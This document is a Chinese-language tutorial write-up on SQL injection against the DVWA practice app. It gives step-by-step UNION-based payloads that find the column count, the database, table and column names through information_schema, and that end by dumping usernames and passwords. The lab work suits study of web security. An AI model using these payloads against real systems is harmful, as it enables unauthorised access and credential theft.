目录
一,目的
拿到所有的用户名和密码登录进入系统
二,思路
拿到数据库database()-->拿到表-->拿到所有字段(查看是否有username和password)-->拿到username和password
三,步骤
(1)判断注入类型(判断是数字型注入还是字符型注入)
因为是低级难度,我预测可能就是简单的这两种注入方式之一
比如,当我们输入1,看到正确返回值,没有报错,说明不是数字型注入。
当我们输入1’,然后submit,看到报错了。
引号测试法(注意一定要是英文引号,这样才与本来设置的sql语句的‘’形成闭合)
我们知道有这个报错就说明一定存在sql漏洞,由前两次输入可以猜测是字符型注入。
继续输入1’and'1'='1或者1'='1发现可以正常回显,所以目前可以十分准确的判断存在的是sql注入中的字符型注入。
(但是我暂时觉得这一步没必要)
(2)判断字段数
我们使用order by进行判断字段数,直到order by报错时就是字段数。比如我们输入id=1' order by 1#
注意:我们在输入框输入id=1' order by 1#,通过改造sql语句修改了应用程序逻辑,执行的sql语句实际上数据库中执行的是:select * from 表 where id='1' order by 1 #'。由于#已经注释掉了后面所有的内容,所以实际上的效果:select * from 表 where id='1' order by 1(#也可以换成--)
可以回显,没有报错,说明字段数还没有达到上限。
但是当我们把order by 后面的数字试到3时出现了报错。由此说明字段数只有两列。
(3)判断回显位置
通过联合查询来判断。union前面选择的字段数量与后面的字段数量要匹配,这样就可以通过后续的函数操作知道哪个位置回显哪些内容。
例:select * from 'product' union select 1,2,3,4,5;(后面的数字只是为了凑“数”,没有实际意义)
注意:我一开始输入了union select 1,2# 犯了错误,没有回显,是因为我只考虑到了后面的单引号要注释掉没考虑前面的单引号要闭合。有时候我们可以查看源码来找到构造sql语句的思路(如上图我们需要在输入的前面加入id=1'来与前面的单引号闭合)。
如图,当我们输入id=1' union select 1,2#就可以回显。
由查看源码知我们实际上执行的sql语句是:
SELECT first_name, last_name FROM users WHERE user_id = '$id';
实际上:
SELECT first_name, last_name FROM users WHERE user_id = '
id=1' union select 1,2#';
#把后面所有的内容注释掉:
SELECT first_name, last_name FROM users WHERE user_id = '
id=1' union select 1,2
所以知道1的位置回显First name,2的位置回显Surname;
(4)判断数据库
输入:id=1' union select 1,database()#(意思是在2的位置显示数据库)
有回显,数据库为dvwa
(5)获取表名
这里补充mysql中的一个非常重要的系统库information_schema
输入id=1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
注意刚开始输入遇到了错误:Illegal mix of collations for operation 'UNION',
解决方法:Illegal mix of collations for operation 'UNION'
(6)获取字段名
输入:id=1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#
得到目标字段名
(7)获取目标数据
输入:1’ union select user,password from users#